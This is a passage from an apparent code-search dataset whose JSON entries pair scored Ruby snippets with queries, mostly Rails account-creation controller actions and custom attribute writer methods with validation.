content_type = \"application/json\"\n \n # Set up picture\n picture = session[:sessionMember][\"image\"][\"url\"]\n if picture.nil?\n picture = \"http://3.bp.blogspot.com/-G5aIFyMZ7f0/T70hqGlbb5I/AAAAAAAAK_Q/FYMbyJz2SXU/s1600/Question_mark.PNG\"\n end\n\n body = { \"memberId\" => email, \"firstName\" => firstName, \"lastName\" => lastName, \"points\" => points, \"picture\" => picture }.to_json\n \n # Make Request\n begin\n response = RestClient.post(\n url, body, \n :content_type => :json, :accept => :json)\n\n puts \"LOG | Account create response | \" + response.to_str\n rescue => e\n # Log the response\n puts \"LOG | Account create error | \" + e.to_s\n # Redirect to the error page\n redirect '/error'\n end\n end", "title": "" }, { "docid": "bfd68b896824b4bd9a76077116be09f6", "score": "0.64068675", "text": "def create\n @user_account = UserAccount.new(user_account_params)\n\n respond_to do |format|\n if @user_account.save\n format.html { redirect_to admin_user_account_path(@user_account), notice: 'User account was successfully created.' }\n format.json { render json: @user_account, status: :created, location: @user_account }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user_account.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ea8a95f2a4a89f673ca07f091a98d7ae", "score": "0.64016926", "text": "def register(email, password)\n params = {:account => {:email => email, :password => password, :password_confirmation => password}, :client_id => Stagehand.config.client_id}\n url = Stagehand.config.resource_host + \"/accounts\"\n headers = { 'Accept' => 'application/json' }\n response = HTTParty.post(url, body: params, headers: headers).parsed_response\n end", "title": "" }, { "docid": "885a40bd89d6c42d32d225d2558d6a89", "score": "0.6392316", "text": "def create_account(data)\n Account.new command(:accounts).create.call(data)\n end", "title": "" }, { "docid": "53e833e44a2b31a72a52adffa6a67d2a", "score": "0.63895553", "text": "def create_account\n account = accounts.build\n create_account_user(account)\n end", "title": "" }, { "docid": "8b2850f6addc61e1d409fcd052b12c22", "score": "0.6387514", "text": "def create\n @user_accounts = UserAccounts.new(params[:user_accounts])\n\n respond_to do |format|\n if @user_accounts.save\n flash[:notice] = 'UserAccounts was successfully created.'\n format.html { redirect_to(@user_accounts) }\n format.xml { render :xml => @user_accounts, :status => :created, :location => @user_accounts }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user_accounts.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f9d42f4116658342eece3cfe76652d3d", "score": "0.6382223", "text": "def create\n @account = Account.new(account_params)\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to @account, notice: '创建成功.' }\n format.json { render :show, status: :created, location: @account }\n else\n format.html { render :new }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "598c531d5ac4817b06fdb750b886ca0b", "score": "0.63759494", "text": "def create\n @account = @account_service.create(@logged_user)\n\n redirect_to accounts_path\n end", "title": "" }, { "docid": "d44e199e5883a0073f81b0877d661b86", "score": "0.63756716", "text": "def create_account(info)\n # checks if all required parameters are set\n \n raise ArgumentError, 'Missing required parameter \"info\"' if info.nil?\n \n\n op = NovacastSDK::Client::Operation.new '/accounts', :POST\n\n # path parameters\n path_params = {}\n op.params = path_params\n\n # header parameters\n header_params = {}\n op.headers = header_params\n\n # query parameters\n query_params = {}\n op.query = query_params\n\n # http body (model)\n \n op.body = info.to_json\n \n\n \n\n resp = call_api op\n\n \n NovacastSDK::IdentityV1::Models::Account.from_json resp.body\n \n end", "title": "" }, { "docid": "96bfc8518954283ecc372f427cadad02", "score": "0.6374319", "text": "def create\n @plaid_accounts = PlaidRails::CreateAccountService.call(account_params)\n end", "title": "" }, { "docid": "868777c7674c8ea39260dbe7317b4d0e", "score": "0.63702554", "text": "def create_account(opts)\n HelloSign::Resource::Account.new post('/account/create', :body => opts)\n end", "title": "" }, { "docid": "e13b359a555aa6d31f159590de54384d", "score": "0.6361437", "text": "def create\n @account = Account.new(account_params)\n flash[:notice] = 'Account was successfully created.' if @account.save\n respond_with @account\n end", "title": "" }, { "docid": "1ec63aad3e24917cad272a6d34862075", "score": "0.63585806", "text": "def create_account(account, options = {})\n hash = {}\n hash['Account'] = account.to_hash\n if options\n options.each do |(k, v)|\n hash[k] = v\n end\n end\n response_object = JSON.parse(post('/account/', hash).body)\n parse_hash_to_struct(response_object)\n end", "title": "" }, { "docid": "7b011c53e95cafac5b5a7f762bc6c216", "score": "0.63344073", "text": "def create\n @account = Account.new(:name => params[:account][:name],\n :email => params[:account][:email],\n :phone => params[:account][:phone],\n :contact_tokens => params[:account][:contact_tokens])\n @account.addresses.build(params[:account][:addresses_attributes][\"0\"])\n respond_to do |format|\n if @account.save\n format.html { redirect_to accounts_path, notice: 'Account was successfully created.' }\n format.json { render json: @account, status: :created, location: @account }\n else\n format.html { render action: \"new\" }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "86c0c0c6df40b13b81b90d140af1a38b", "score": "0.6321633", "text": "def create\n #@account = current_user.accounts.build(params[:account].except(:user_id))\n @account = current_user.accounts.build(params.require(:account).permit(:name, :parent_id, :opening_balance))\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to @account, :notice => 'Account was successfully created.' }\n format.json { render :json => @account, :status => :created, :location => @account }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @account.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "21fa38c4a76425c5cdef2eb428d55c74", "score": "0.6315064", "text": "def create\n\t\t@account = Account.new(account_params)\n\t\t@account.account_holders.build(user_id: current_user.id)\n\n\t\trespond_to do |format|\n\t\t\tif @account.save\n\t\t\t\tformat.html { redirect_to @account, notice: 'Account was successfully created.' }\n\t\t\t\tformat.json { render action: 'show', status: :created, location: @account }\n\t\t\telse\n\t\t\t\tformat.html { render action: 'new' }\n\t\t\t\tformat.json { render json: @account.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "07833df9faa01b53ab3b7b874251fe4e", "score": "0.63093466", "text": "def create\n @user = User.new\n @user.nick_name = params[:nick_name]\n account = Account.new(:name=>params[:account_name], :password=>params[:password], :password_confirmation =>params[:password_confirmation], :account_type=>'email')\n @user.accounts << account\n\n respond_to do |format|\n if @user.save\n session[:user_id] = @user.id\n format.html { redirect_to(:controller=>'yueyue_objects', :action => \"index\") }\n format.xml { render :xml => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => flash[:notice], :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e2cbe1949aab4478d1fff984f11cb231", "score": "0.6294667", "text": "def create\n #create a bunch of users\n user = User.create!(user_params)\n auth_token = AuthenticateUser.new(user.email, user.password).call\n response = { message: Message.account_created, auth_token: auth_token }\n json_response(response, :created)\n end", "title": "" }, { "docid": "0e6eb65a2ec05383569e371fef64e36e", "score": "0.62874776", "text": "def create\n\n account_info = request.body.read\n account_info = JSON.parse(account_info)\n username = account_info[\"username\"]\n password = account_info[\"password\"]\n\n status = true\n\n if User.where(:username => username).blank?\n User.new(:username => username, :password => password).save\n else\n status = false\n end\n\n respond_to do |format|\n\n msg = {:status => status}\n\n format.json {render :json => msg}\n\n end\n\n end", "title": "" }, { "docid": "dbd938ce8893452356c0f9aa193c5972", "score": "0.62733746", "text": "def create\n respond_to do |format|\n if CreateAccount.new(@account, super_and_current_users).save\n format.html { redirect_to first_user_registration_url, notice: 'Account was successfully created.' }\n format.json { render :show, status: :created, location: @account.cname }\n else\n format.html { render :new }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "881ff9b06f68b7e3c77182ce4674a5bb", "score": "0.62680393", "text": "def create\n @account = Account.new(account_params)\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to @account}\n flash[:notice] = \"Cuenta creado con exito\"\n format.json { render :show, status: :created, location: @account }\n else\n format.html { render :new }\n flash[:alert] = \"Cuenta no creado\"\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0c1c1583bfd9d5ede0385190e08b7d47", "score": "0.6267374", "text": "def create\n @account_resource = AccountResource.new(account_resource_params)\n\n respond_to do |format|\n if @account_resource.save\n format.html { redirect_to @account_resource, notice: 'Account resource was successfully created.' }\n format.json { render :show, status: :created, location: @account_resource }\n else\n format.html { render :new }\n format.json { render json: @account_resource.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7cb19dbe96a6d3787d90ee0dbff61703", "score": "0.6258793", "text": "def create\n @account = Account.new(account_params)\n @account.owner = current_user\n\n respond_to do |format|\n if @account.save\n format.html { redirect_back fallback_location: [@account.owner, @account] }\n format.json { render :show, status: :created, location: [@account.owner, @account] }\n else\n format.html { render :new }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6960be518ad4ddf820d4e7ad454df7f3", "score": "0.6253662", "text": "def create\n @account = Account.new(params[:account])\n flash[:notice] = 'Account was successfully created.' if @account.save\n respond_with(:admin, @account)\n end", "title": "" }, { "docid": "5715a821096926ec5500e8fddfe97fe5", "score": "0.62529916", "text": "def create\n authorize! :create, @account\n @account = Account.new(account_params)\n\n respond_to do |format|\n if @account.save\n AccountMailer.welcome_email(current_user, @account).deliver_now\n\n format.html { redirect_to root_path, notice: 'Account was successfully created.' }\n format.json { render :show, status: :created, location: @account }\n else\n format.html { render :new }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f1512036e5499fd87d471cde88ef5cca", "score": "0.62483984", "text": "def create\n @account = Account.new(account_params)\n\n respond_to do |format|\n if @account.save\n if params[\"date\"] && params[\"init\"]\n # identify opening balances account\n openingBalancesAccount = Account.find_by name: \"opening balances\"\n # create transaction which initializes account balance:\n transaktion = {}\n transaktion[\"date\"] = params[\"date\"]\n transaktion[\"is_void\"] = false\n tr = Transaktion.new(transaktion)\n tr.save\n # create two entries for account-initializing transaction:\n debit = {}\n debit[\"account_id\"] = @account.id\n debit[\"transaktion_id\"] = tr.id\n debit[\"price\"] = params[\"init\"]\n debit[\"qty\"] = 1\n debit[\"is_debit\"] = true\n Entry.new(debit).save\n credit = debit\n credit[\"account_id\"] = openingBalancesAccount.id\n credit[\"is_debit\"] = false\n Entry.new(credit).save\n end\n format.html { redirect_to @account, notice: 'Account was successfully created.' }\n format.json {\n render json: {id: @account.id, friendlyName: friendlyName(@account), input: params[:input]}\n }\n else\n # format.html { render :new }\n # format.json { render json: @account.errors, status: :unprocessable_entity }\n render \"new\"\n end\n end\n end", "title": "" }, { "docid": "3363fd72f31fce5374fc55e8a3b0c6bf", "score": "0.6242446", "text": "def create\n current_group = current_user.group\n authorize(current_group)\n\n @account = current_group.accounts.build(account_params)\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to accounts_path, notice: 'Account was successfully created.' }\n format.json { render action: 'index', status: :created, location: @account }\n else\n format.html { render action: 'new' }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2a9f2d62c0975ae730ba96576ba48180", "score": "0.62338996", "text": "def create\n @account = current_user.build_account(params[:account])\n\n respond_to do |format|\n if @account.save\n current_user.save # retain account id\n flash[:notice] = 'Account was successfully created.'\n format.html { redirect_to(account_path) }\n format.xml { render :xml => @account, :status => :created, :location => account_path }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @account.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" } ]
49da1f866ad149ad8015b219e795e3d7
Custom attribute writer method with validation
[ { "docid": "3653aff248ecbc059235ac732bd1d377", "score": "0.0", "text": "def custom_field2=(custom_field2)\n if !custom_field2.nil? && custom_field2.to_s.length > 50\n fail ArgumentError, 'invalid value for \"custom_field2\", the character length must be smaller than or equal to 50.'\n end\n\n @custom_field2 = custom_field2\n end", "title": "" } ]
[ { "docid": "0f4a74039d4b8dc62405e39b58357a05", "score": "0.6472992", "text": "def attr_writer_tag(text); end", "title": "" }, { "docid": "ac55752dd9cc4f485a916c46d7b41237", "score": "0.6315012", "text": "def allowed_attributes=(_arg0); end", "title": "" }, { "docid": "ac55752dd9cc4f485a916c46d7b41237", "score": "0.6315012", "text": "def allowed_attributes=(_arg0); end", "title": "" }, { "docid": "818a28ea23a393353f522258d13ba1d1", "score": "0.62821025", "text": "def writer(*args)\n attr_writer(*args)\n args\n end", "title": "" }, { "docid": "730d286882c006db17b9333a04827bcb", "score": "0.6279224", "text": "def define_write_method(attr_name)\n evaluate_attribute_method attr_name, \"def #{attr_name}=(new_value);write_attribute('#{attr_name}', new_value);end\", \"#{attr_name}=\"\n end", "title": "" }, { "docid": "3574800333357023b5198cc21695fb24", "score": "0.6211609", "text": "def attr_writer(*vars)\n # avoid tracking attributes that are added by the class_attribute\n # as these are class attributes and not instance attributes.\n tracked_vars = vars.reject {|var| respond_to? var }\n add_tracked_attrs(false, true, *tracked_vars)\n vars.extract_options!\n super\n end", "title": "" }, { "docid": "661d49b44b559b934a36d22fe17312f1", "score": "0.61891466", "text": "def attr_writer(sym, *more) end", "title": "" }, { "docid": "68363c8c5419ec508c635a4745eaf554", "score": "0.6182247", "text": "def is_attribute?; end", "title": "" }, { "docid": "783341e607312dfeedf41ec376f6cc01", "score": "0.60683644", "text": "def validate_exclusion_of(attr); end", "title": "" }, { "docid": "51969ffa9d4e2d047c8ab88226e0a504", "score": "0.6032628", "text": "def register_attributes\n raise \"Not implemented in #{self.class}\"\n end", "title": "" }, { "docid": "d40c298b0c59d32fbc2fc54bc0c7cec2", "score": "0.5995443", "text": "def method_missing(method_name, *args)\n return super unless permitted_attributes.include?(method_name)\n begin\n object.send(:\"#{method_name}=\", args.first)\n rescue => e\n if params.has_key?(method_name)\n message = \"Unable to process value for :#{method_name}, no attribute writer. Be sure to override the automatic setters for all params that do not map straight to a model attribute.\"\n Rails.logger.warn({message: message,\n missing_writer: method_name,\n value: args.first,\n error: e})\n self.errors << {status: 422, message: message}\n else\n raise e\n end\n end\n end", "title": "" }, { "docid": "1d802e367bf697117a3a55c60eeb6489", "score": "0.5988785", "text": "def timeliness_validation_for(attr_names, type)\n super\n attr_names.each { |attr_name| define_timeliness_write_method(attr_name) }\n end", "title": "" }, { "docid": "7ae9b37147225c7d27a2e909e1e3505d", "score": "0.5959885", "text": "def create_setter_for(attribute, options)\n setter_method = \"#{attribute}=\"\n\n define_method setter_method do |value|\n if options[:allow_blank] || value != \"\"\n write_attribute(attribute, value)\n end\n end\n end", "title": "" }, { "docid": "4dce47fe45d27f87602ffc54b53ba257", "score": "0.5938289", "text": "def attr_internal_writer(*attrs)\n attrs.each {|attr_name| attr_internal_define(attr_name, :writer)}\n end", "title": "" }, { "docid": "3c7e05fff40a5cf12afc9fcc7c5d7bc1", "score": "0.5931089", "text": "def escape_attr input\n escape input, attr_regexp, attr_mapping\n end", "title": "" }, { "docid": "c1ba4bd13676c3c4762456a29ab96f93", "score": "0.58951056", "text": "def make_writer( attrtype )\n\t\tself.log.debug \"Generating an attribute writer for %p\" % [ attrtype ]\n\t\tattrname = attrtype.name\n\t\tif attrtype.single?\n\t\t\tself.log.debug \" attribute is SINGLE, so generating a scalar writer...\"\n\t\t\treturn lambda {|newvalue| self[attrname] = newvalue }\n\t\telse\n\t\t\tself.log.debug \" attribute isn't SINGLE, so generating an array writer...\"\n\t\t\treturn lambda {|*newvalues| self[attrname] = newvalues.flatten }\n\t\tend\n\tend", "title": "" }, { "docid": "6eddbf68a3fa6a4cee1d85bdf47f29cf", "score": "0.5859927", "text": "def write_attribute(name, value)\n # Simply check if the accessor is allowed to write the field\n # (if so, go to superclass and do it)\n @bypass_auth ||= false\n if allowed_to_write(name) || @bypass_auth\n super(name, value)\n end\n end", "title": "" }, { "docid": "6e1c7d50e1839b5a620ea4789e8ed16e", "score": "0.5851703", "text": "def mattr_writer(*syms, &proc)\n receiver = self\n options = syms.extract_options!\n syms.each do |sym|\n raise NameError.new('invalid attribute name') unless sym =~ /^[_A-Za-z]\\w*$/\n class_exec do\n define_singleton_method \"#{sym}=\" do |obj|\n class_variable_set(\"@@#{sym}\", obj)\n end\n end\n\n unless options[:instance_writer] == false || options[:instance_accessor] == false\n class_exec do\n define_method \"#{sym}=\" do |obj|\n receiver.class_variable_set(\"@@#{sym}\", obj)\n end\n end\n end\n send(\"#{sym}=\", proc.call) if proc\n end\n end", "title": "" }, { "docid": "220a10ae903f4340a41d2664a7f308e3", "score": "0.58493423", "text": "def write_attribute(attribute, value)\n false\n end", "title": "" }, { "docid": "408850f6c443aa82357a7e3cd8447f24", "score": "0.58465594", "text": "def add_attribute attribute\n return attribute unless @document_self\n\n # mainly to check for redefinition of an attribute as a method\n # TODO find a policy for 'attr_reader :foo' + 'def foo=()'\n register = false\n\n key = nil\n\n if attribute.rw.index 'R' then\n key = attribute.pretty_name\n known = @methods_hash[key]\n\n if known then\n known.comment = attribute.comment if known.comment.empty?\n elsif registered = @methods_hash[attribute.pretty_name + '='] and\n RDoc::Attr === registered then\n registered.rw = 'RW'\n else\n @methods_hash[key] = attribute\n register = true\n end\n end\n\n if attribute.rw.index 'W' then\n key = attribute.pretty_name + '='\n known = @methods_hash[key]\n\n if known then\n known.comment = attribute.comment if known.comment.empty?\n elsif registered = @methods_hash[attribute.pretty_name] and\n RDoc::Attr === registered then\n registered.rw = 'RW'\n else\n @methods_hash[key] = attribute\n register = true\n end\n end\n\n if register then\n attribute.visibility = @visibility\n add_to @attributes, attribute\n resolve_aliases attribute\n end\n\n attribute\n end", "title": "" }, { "docid": "39337c2ee2f1e20a95528ee374323c34", "score": "0.58328366", "text": "def define_writer_method(mod)\n writer_method_name = \"#{name}=\"\n attribute = self\n\n mod.send(:define_method, writer_method_name) { |value| attribute.set(self, value) }\n mod.send(writer_visibility, writer_method_name)\n\n self\n end", "title": "" }, { "docid": "ccfe8738bfd90d4dd7cb62eaf02a0937", "score": "0.5823013", "text": "def allowed_to_write(name)\n # no point allowing attribute writes if we can't save them?\n if allowed_to_save\n name = name.to_s\n validation_methods = self.class.write_validations(name) \n if validation_methods.nil?\n # We haven't registered any filters on this attribute, so allow the write.\n true\n elsif validation_methods.check :accessor => accessor, :model => self\n # One of the authentication methods worked, so allow the write.\n true\n else\n # We had filters but none of them passed. Disallow write.\n false\n end\n else\n false\n end\n end", "title": "" }, { "docid": "e755b45d3a54b0e2540251efdadc82ea", "score": "0.5822229", "text": "def assert_attr_writer(obj, method)\n assert_respond_to obj, \"#{method}=\"\nend", "title": "" }, { "docid": "501f7201a66af5ff28623862c13038d6", "score": "0.57850474", "text": "def add_attribute(name, &block); end", "title": "" }, { "docid": "eb49b4bf355f3f29de70bcac9f58e24c", "score": "0.5701491", "text": "def authenticates_writes_to(attr, options={})\n authenticates_access\n @write_validation_map ||= {}\n @write_validation_map[attr.to_s] ||= AuthMethodList.new\n @write_validation_map[attr.to_s].add_method(options)\n end", "title": "" }, { "docid": "a4ac193a47191f9f336644d11b80c3dc", "score": "0.5696689", "text": "def write_attribute_3(param1, param2)\n\twrite_attribute(param1, param2)\n end", "title": "" }, { "docid": "6b057bd7deaa18604c26c4435d6f96a3", "score": "0.5682951", "text": "def write_attribute(attr_name, value) #:doc:\n @attributes[attr_name] = empty_string_for_number_column?(attr_name, value) ? nil : value\n end", "title": "" }, { "docid": "42a5d58341152b29fc12a44a98d22a5c", "score": "0.5678094", "text": "def add_writer_tags(klass, new_method, member)\n member_tag = member_tag_for_member(klass, member, :write)\n return_type = return_type_from_tag(member_tag)\n setter_doc_text = member_tag ? member_tag.text : \"Sets the attribute #{member}\"\n new_method.docstring.replace(setter_doc_text)\n new_method.add_tag YARD::Tags::Tag.new(:param, \"the value to set the attribute #{member} to.\", return_type, \"value\")\n new_method.add_tag YARD::Tags::Tag.new(:return, \"the newly set value\", return_type)\n end", "title": "" }, { "docid": "b4c6cb40f9c839103014b9fe28d793f0", "score": "0.566814", "text": "def print_attribute(*) end", "title": "" }, { "docid": "16d20ba640b02d42c7ede34a10c8168c", "score": "0.5657499", "text": "def attribute(name); end", "title": "" }, { "docid": "ecb0ae00c3dd3e9c07140a403d63a59f", "score": "0.56555206", "text": "def add_checked_attribute(clazz, attribute)\r\n eval <<END\r\n class #{clazz}\r\n\r\n def #{attribute}=(value)\r\n raise 'Invalid attribute' unless value\r\n @#{attribute}=value\r\n end\r\n\r\n def #{attribute}\r\n #{attribute}\r\n end\r\n end\r\nEND\r\nend", "title": "" }, { "docid": "d103dae805fb5f39f7c1fe97051ac54c", "score": "0.5642589", "text": "def attr(name); end", "title": "" }, { "docid": "985cfeada97b1e85ed911c8db2170066", "score": "0.56219065", "text": "def is_attribute?(line)\n (line =~ /(\\s+)attr_(writer|reader|accessor)\\s+:[a-zA-Z_0-9]+/) == 0\n end", "title": "" }, { "docid": "57c62f9e87ff9c939b62f5954d61161c", "score": "0.5615893", "text": "def attribute(name, value)\n\t if !@inStartTag\n\t\traise WriterError.new('attribute outside of tag start')\n\t end\n\t @io << \" #{name}=\\\"#{NQXML.encode(value.to_s)}\\\"\"\n\tend", "title": "" }, { "docid": "d508f29eea085d040ff4c00efa72b4ff", "score": "0.56105876", "text": "def set_attribute(name, value); end", "title": "" }, { "docid": "cbd87cccf42d46be2b3458d7827dfa71", "score": "0.559851", "text": "def dataset_writer(*attributes)\n attributes.flatten.each do |attr_name|\n next if method_defined?(\"#{attr_name}=\")\n\n class_eval <<-RUBY, __FILE__, __LINE__ + 1\n def #{attr_name}=(value)\n dataset_set(:#{attr_name}, value)\n end\n RUBY\n end\n end", "title": "" }, { "docid": "58b9b4abc7c009fcb04ad85c1af64883", "score": "0.5598089", "text": "def validated_attribute_names(params); end", "title": "" }, { "docid": "7137c11448bf84958b59ec4c4489bdeb", "score": "0.55940455", "text": "def require_format_of(attribute)\r\n RequireFormatOf.new(attribute)\r\n end", "title": "" }, { "docid": "69fd82ba626a72b9312228bf4508cced", "score": "0.5585137", "text": "def attr_writer(*fields)\n check_fields(fields)\n added_fields = jiak.data.writable(*fields)\n added_fields.each do |field|\n class_eval <<-EOM\n def #{field}=(val)\n @jiak.object.data.#{field} = val\n self.class.do_auto_update(self)\n end\n EOM\n end\n nil\n end", "title": "" }, { "docid": "d4a0e5b89520aa5e3a0201f540ba6ec7", "score": "0.55848545", "text": "def html_attr(*attrs)\n options = attrs.extract_options!.reverse_merge({\n :level => :super_relaxed\n })\n attrs.each do |att|\n class_eval \"def #{att}=(val); self[:#{att}] = sanitize(val, :#{options[:level]}); end\"\n end\n end", "title": "" }, { "docid": "e6f1eb9eff070f3148ed8d5fa7417621", "score": "0.55796933", "text": "def validate_attributes=(new_attribute)\n @validate_attributes = new_attribute\n end", "title": "" }, { "docid": "c180406afa086620ab2adf8775fc8fed", "score": "0.5571477", "text": "def html_attributes(attr); end", "title": "" }, { "docid": "aab22e8c1059a723c9d46cb3fe8ce116", "score": "0.5567006", "text": "def instance_write(attr, value)\n setter = :\"#{@name_string}_#{attr}=\"\n instance.send(setter, value) if instance.respond_to?(setter)\n end", "title": "" }, { "docid": "7a7072bf2548d96a93f5e2db7ef31faa", "score": "0.55667996", "text": "def valid_xml_attribute(name, options={:level => :warning})\n\t\t\t\tvalidate(\"Invalid XML attribute '#{name}'\", options) { name.to_s.match(/^([^[:punct:]0-9<>]|_)[^<>\"']*/) }\n\t\t\tend", "title": "" }, { "docid": "9d85f81f1d7c6330f4485c8341bcdae5", "score": "0.55652434", "text": "def attr_writer(*args)\n sym_args=args_to_sym(args)\n sym_args.each do |value|\n self.instance_eval(\"def #{value}=(arg); @#{value}=arg;end;\")\n end\n \n end", "title": "" }, { "docid": "83c2b6f2dbac7ad26cfac27dacb526fa", "score": "0.5562926", "text": "def define_writer_method(attribute, method_name, visibility)\n define_method(method_name) { |value| attribute.set(self, value) }\n send(visibility, method_name)\n self\n end", "title": "" }, { "docid": "e6e2566d0196bb87cf9f5c8e5f72f665", "score": "0.55600035", "text": "def write_attribute(name, val)\n if @embedded_models.include? name\n @embedded_models[name].model = val\n elsif @attribute_objects.include? name\n @attribute_objects[name].value = val\n else\n return false\n end\n\n run_callbacks :attribute_change\n end", "title": "" }, { "docid": "35039cb1591a693d9c70a5e659e12b1c", "score": "0.55590326", "text": "def valid_attributes\n { \"name\" => \"MyString\" }\n end", "title": "" }, { "docid": "35039cb1591a693d9c70a5e659e12b1c", "score": "0.55590326", "text": "def valid_attributes\n { \"name\" => \"MyString\" }\n end", "title": "" }, { "docid": "a84b7c93e2fccda123dcdaf34710d7d9", "score": "0.5554599", "text": "def valid_attributes\n { body: \"blah\",\n rule_text: 'Something',\n change_description: \"blaa\"}\n end", "title": "" }, { "docid": "a84b7c93e2fccda123dcdaf34710d7d9", "score": "0.5554599", "text": "def valid_attributes\n { body: \"blah\",\n rule_text: 'Something',\n change_description: \"blaa\"}\n end", "title": "" }, { "docid": "2dc9c5d731b1a45848546ec81f8a4299", "score": "0.55407417", "text": "def attr; end", "title": "" }, { "docid": "b0b9a1038f2ffbbb0c85a1e556300b24", "score": "0.5534935", "text": "def attribute(*args)\n define_expressions(Attribute, args)\n end", "title": "" }, { "docid": "dc0d1faa22eaf0166f379da1d11602a3", "score": "0.5527733", "text": "def write_attribute(name, value)\n name = name.to_s\n\n # The attribute already has an unsaved change.\n if attribute_changed?(name)\n old = changed_attributes[name]\n changed_attributes.delete(name) unless field_changed?(name, old, value)\n else\n attribute_will_change(name) if field_changed?(name, old, value)\n end\n\n # Carry on.\n super(name, value)\n end", "title": "" }, { "docid": "0423badc15c7aec04065b66ad40dbf0c", "score": "0.55271375", "text": "def define_magic_attr(name)\n define_method name do |*attrs|\n raise ArgumentError.new(\"wrong number of arguments\") if attrs.size > 1\n send(\"#{name}=\", attrs.first) if attrs.size == 1\n instance_variable_get(\"@#{name}\")\n end\n\n attr_writer name\n end", "title": "" }, { "docid": "799f5804ded71b25bbcd42eb06b3c358", "score": "0.55238813", "text": "def configurable_writer(attribute, code=nil, &block)\n if block_given? and not code\n Halcyon.class.send(:define_method, :\"#{attribute}=\", block)\n elsif code and not block_given?\n Halcyon.class.send(:eval, <<-\"end;\")\n def #{attribute.to_s}=(value)\n #{code % [attribute.to_sym.inspect]}\n end\n end;\n else\n raise ArgumentError.new(\"Either a block or a code string should be supplied.\")\n end\n end", "title": "" }, { "docid": "267f4897573654fd85e7e5833fb230fe", "score": "0.5501504", "text": "def method_missing(name, *args, &block)\n if /\\Ahas_validated_(?<type>\\w*)_attribute\\Z/ =~ name\n has_validated_attribute(type, *args, &block)\n else\n super\n end\n end", "title": "" }, { "docid": "c83c308bf953fe6545b0920285b8c2bc", "score": "0.5497003", "text": "def add_checked_attribute(klass, attribute)\n klass.class_eval do\n define_method attribute do\n instance_variable_get(\"@#{attribute}\")\n end\n\n define_method \"#{attribute}=\" do |value|\n raise 'Invalid attribute' unless value\n \n instance_variable_set(\"@#{attribute}\", value)\n end\n end\nend", "title": "" }, { "docid": "fbbeb8d6a6282e6ea720719e412a3201", "score": "0.5496233", "text": "def method_missing(meth, *args, &blk)\n match = meth.to_s.match(/^([a-zA-Z\\_]+)(=|$)$/)\n if match\n attribute, setter = match[1], !match[2].blank?\n if setter\n write_attribute(attribute, args.first)\n else\n read_attribute(attribute)\n end\n else\n super(meth, *args, &blk)\n end\n end", "title": "" }, { "docid": "c4e6eb6b0779d29efdd9490438ccb570", "score": "0.54927665", "text": "def valid_attributes\n { name: 'do this' }\n end", "title": "" }, { "docid": "da8c61fdfbb1bc204b38f9e640c72ccb", "score": "0.5464706", "text": "def make_attributes_definitions_or_croak(attrArgs, &attrBlok)\n eye = :'m_attrs_defs'\n\n # Work with attribute as strings\n \n $DEBUG && logger_me(eye, logger_fmt_kls(:attrArgs => attrArgs, :attrBlok => attrBlok))\n\n mustbe_attributes_specification_or_croak(attrArgs, eye, \"attrArgs not attributes_specification\")\n \n #STOPATTRARGSINSUPER\n \n #attrAll = mustbe_not_empty_or_croak(mustbe_array_key_or_nil_or_croak(attrArgs, :all, eye, \"all attributes not array\"), eye, \"all attributes is empty\").map(&:to_s)\n attrAll = mustbe_not_empty_or_croak(mustbe_attributes_specification_all_key_or_croak(attrArgs, :all, eye), eye, \"all attributes is empty\").map(&:to_s)\n \n\n #puts(\"\\n\\n\\nATTR ALL >#{attrAll}<\")\n\n #STOPMAKEATTRSPECSENTRY\n\n attrInc = mustbe_attributes_specification_include_key_or_nil_or_croak(attrArgs, :include, eye) # mustbe all strings\n #puts(\"ATTR INC >#{attrInc.class}< >#{attrInc}< >#{is_value_not_empty?(attrInc)}<\")\n attrInc && mustbe_not_empty_or_croak(attrInc, eye, \"include attributes is empty\")\n\n attrExc = mustbe_attributes_specification_exclude_key_or_nil_or_croak(attrArgs, :exclude, eye) || []\n \n attrMapNom = mustbe_attributes_definitions_key_or_nil_or_croak(attrArgs, :definitions, eye) || {}\n attrMap = attrMapNom && potrubi_util_map_hash_kv(attrMapNom) {|k,v| [k.to_s, v]} # keys all strings\n\n # Ensure all consistent\n \n attrInc && mustbe_subset_or_croak(attrInc, attrAll, eye, \"include attributes contains unknown attributes\")\n mustbe_subset_or_croak(attrExc, attrAll, eye, \"exclude attributes contains unknown attributes\")\n mustbe_subset_or_croak(attrMap.keys, attrAll, eye, \"attribute map contains unknown attributes\")\n \n attrUse = ((attrInc || attrAll) - attrExc).uniq # list of unique attributes to report on\n\n # consolidate \"faked up\" attr specs with ones provided to get the composite attrSpecs\n \n attrDefsNom = potrubi_util_array_to_hash(attrUse).merge(attrMap.select {|k,v| attrUse.include?(k)}) # consolidated \"faked up\" attr specs with ones provided\n\n attrDefs = potrubi_util_map_hash_v(attrDefsNom) do | attrName, attrSpecNom|\n\n attrSpec =\n case attrSpecNom\n when NilClass then {}\n when Hash then\n 